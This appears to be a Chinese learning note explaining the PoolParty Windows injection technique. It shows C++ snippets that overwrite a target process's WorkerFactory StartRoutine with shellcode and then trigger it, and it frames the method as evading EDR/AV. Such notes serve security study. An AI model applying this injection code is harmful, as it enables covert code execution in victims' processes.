PoolParty Injection Learning Note
记录学习Poolparty注入技术的笔记 - 2025-5-21
poolparty,一种只需要在远程线程中分配和写入操作,而无需执行操作的注入技术,其核心是利用了windows的线程池作为攻击对象 由于其并没有直接执行shellcode,所以大部分edr/av无法检测(当时,现在就不一定了)
第一种注入技术 复写workerfactory Startroutine
WorkerFactory是Windows用于高效维护线程池的核心组件,它本身并不直接执行线程,而是负责管理和调度线程池中的工作线程。
WorkerFactory结构体中包含了WorkerFactoryBasicInformation
信息,其中最关键的是StartRoutine字段,换言之,我们只需要控制StartRoutine就可以执行我们的代码。
为什么不能新建WorkerFactory?
此时我就想到能不能在进程中新建一个WorkerFactory且将其中的Startroutine指向我们的恶意代码。 但随着逆向深入,我发现在Windows内核(ntoskrnl.exe)中,NtCreateWorkerFactory
函数有一个关键的检查机制。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall NtCreateWorkerFactory(
_QWORD *a1,
unsigned int a2,
__int64 a3,
void *a4,
__int64 a5,
__int64 a6,
__int64 a7,
int a8,
__int64 a9,
__int64 a10)
{
KPROCESSOR_MODE PreviousMode;
NTSTATUS v17;
PVOID v19;
PVOID v29;
// 获取当前线程的Previous Mode
PreviousMode = KeGetCurrentThread()->PreviousMode;
// 通过进程句柄获取进程对象引用
v17 = ObpReferenceObjectByHandleWithTag(a5, 42, PsProcessType, PreviousMode, 1717008453, &v29, 0, 0);
if (v17 < 0)
return v17;
v19 = v29;
// 关键检查:验证调用者是否为目标进程中的线程
if (KeGetCurrentThread()->ApcState.Process != v29) {
v17 = STATUS_ACCESS_DENIED; // 返回拒绝访问错误
ObfDereferenceObjectWithTag(v19, 0x66577845u);
return v17;
}
// 如果检查通过,继续创建WorkerFactory对象
// ... 其余创建逻辑 ...
return result;
}
关键机制分析:
在函数中的这行代码是核心检查:
1
if (KeGetCurrentThread()->ApcState.Process != v29)
KeGetCurrentThread()->ApcState.Process
:获取当前执行线程所属的进程v29
:通过传入进程句柄解析得到的目标进程对象- 如果两者不匹配,说明调用者试图跨进程创建WorkerFactory,这是不被允许的
这个检查确保了只有进程内部的线程才能为该进程创建WorkerFactory。如果调用者不是目标进程中的线程,创建操作将返回STATUS_ACCESS_DENIED
失败。
为什么不能修改Startroutine指针?
而且直接将StartRoutine指向我们的shellcode是不现实的,因为在WorkerFactory创建时StartRoutine的值是常量,不可更改。
既然不可用新建新的WorkerFactory,且StartRoutine是一个指针,那么我们可以换个思路:不修改指针本身,而是修改指针指向的内存内容。我们可以向StartRoutine指向的内存空间写入我们的shellcode,这样当系统调用该函数时,实际执行的就是我们的恶意代码。
如何获取 StartRoutine 指针?
通过Windows内核API NtQueryInformationWorkerFactory
函数,我们可以获取当前WorkerFactory的详细信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// NtQueryInformationWorkerFactory 函数
typedef NTSTATUS(NTAPI* NtQueryInformationWorkerFactory)(
HANDLE WorkerFactoryHandle,
WORKER_FACTORY_INFORMATION_CLASS WorkerFactoryInformationClass,
PVOID WorkerFactoryInformation, //关键字段:WorkerFactoryInformation
ULONG WorkerFactoryInformationLength,
PULONG ReturnLength
);
// WorkerFactory Basic Information 结构体
typedef struct _WORKER_FACTORY_BASIC_INFORMATION {
LARGE_INTEGER Timeout;
LARGE_INTEGER RetryTimeout;
LARGE_INTEGER IdleTimeout;
BOOLEAN Paused;
BOOLEAN TimerSet;
BOOLEAN QueuedToExWorker;
BOOLEAN MayCreate;
BOOLEAN CreateInProgress;
BOOLEAN InsertedIntoQueue;
BOOLEAN Shutdown;
ULONG BindingCount;
ULONG ThreadMinimum;
ULONG ThreadMaximum;
ULONG PendingWorkerCount;
ULONG WaitingWorkerCount;
ULONG TotalWorkerCount;
ULONG ReleaseCount;
LONGLONG InfiniteWaitGoal;
PVOID StartRoutine; // 关键字段:线程入口点指针
PVOID StartParameter;
HANDLE ProcessId;
SIZE_T StackReserve;
SIZE_T StackCommit;
NTSTATUS LastThreadCreationStatus;
} WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION;
在WORKER_FACTORY_BASIC_INFORMATION
结构体中,StartRoutine
字段就是我们需要的指针值。
获取到StartRoutine指针后,我们就可以直接覆写该指针指向的内存空间,将我们的shellcode写入其中。当Windows线程池机制触发时,系统会自动执行我们植入的恶意代码。
示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
bool overwriteStartRoutine() {
std::cout << "[*] Overwriting StartRoutine at " << info.StartRoutine << std::endl;
DWORD old;
if (!VirtualProtectEx(
hProcess,
info.StartRoutine,
shellcode_.size(),
PAGE_EXECUTE_READWRITE,
&old
)) {
std::cerr << "[!] VirtualProtectEx failed: " << GetLastError() << std::endl;
return false;
}
if (!WriteProcessMemory(
hProcess,
info.StartRoutine,
shellcode.data(),
shellcode.size(),
nullptr
)) {
std::cerr << "[!] WriteProcessMemory failed: " << GetLastError() << std::endl;
return false;
}
VirtualProtectEx(
hProcess_, info.StartRoutine, shellcode_.size(), old, &old
);
return true;
}
如何在更改后立即执行?
我们已经成功将shellcode写入了StartRoutine指向的内存,但此时shellcode并不会立即执行。这是因为我们只是替换了函数内容,而线程池系统并不知道需要创建新的工作线程来执行它。
为了触发shellcode的立即执行,Windows内核提供了 NtSetInformationWorkerFactory
API:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// NtSetInformationWorkerFactory 函数
typedef NTSTATUS(NTAPI* NtSetInformationWorkerFactory)(
HANDLE WorkerFactoryHandle,
WORKER_FACTORY_INFORMATION_CLASS WorkerFactoryInformationClass,
PVOID WorkerFactoryInformation,
ULONG WorkerFactoryInformationLength
);
// WorkerFactory 信息类枚举
enum WORKER_FACTORY_INFORMATION_CLASS {
WorkerFactoryTimeout = 0,
WorkerFactoryRetryTimeout = 1,
WorkerFactoryIdleTimeout = 2,
WorkerFactoryBindingCount = 3,
WorkerFactoryThreadMinimum = 4, // 关键字段:最小线程数
WorkerFactoryThreadMaximum = 5,
WorkerFactoryPaused = 6,
WorkerFactoryBasicInformation = 7
};
立即执行的核心原理:
通过修改WorkerFactoryThreadMinimum
字段来强制线程池创建新的工作线程:
- 获取当前线程数:首先查询WorkerFactory当前的线程状态
- 增加最小线程数:将ThreadMinimum设置为当前线程数+1
- 触发线程创建:系统检测到最小线程数不足,会立即创建新的工作线程
- 执行shellcode:新创建的线程会调用被我们替换的StartRoutine,从而执行shellcode
示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
bool triggerExecution() {
ULONG newMin = info.TotalWorkerCount + 1;
NTSTATUS st = NtSetInformationWorkerFactory(
hFactory_, WorkerFactoryThreadMinimum,
&newMin, sizeof(newMin)
);
if (!NT_SUCCESS(st)) {
std::cerr << "[!] NtSetInformationWorkerFactory failed: 0x"
<< std::hex << st << std::dec << std::endl;
return false;
}
std::cout << "[*] Triggered WorkerFactory thread creation." << std::endl;
return true;
}
这种方法的优势在于无需等待自然的线程池调度,而是主动触发新线程的创建,确保我们的shellcode能够立即得到执行。
结语
执行流程:
- OpenProcess
- DuplicateHandle
- NtQueryInformationWorkerFactory
- WriteProcessMemory
- NtSetInformationWorkerFactory
至此,我们完成了第一种PoolParty注入技术:通过覆写WorkerFactory的StartRoutine并主动触发新线程创建来实现代码注入。
持续更新中….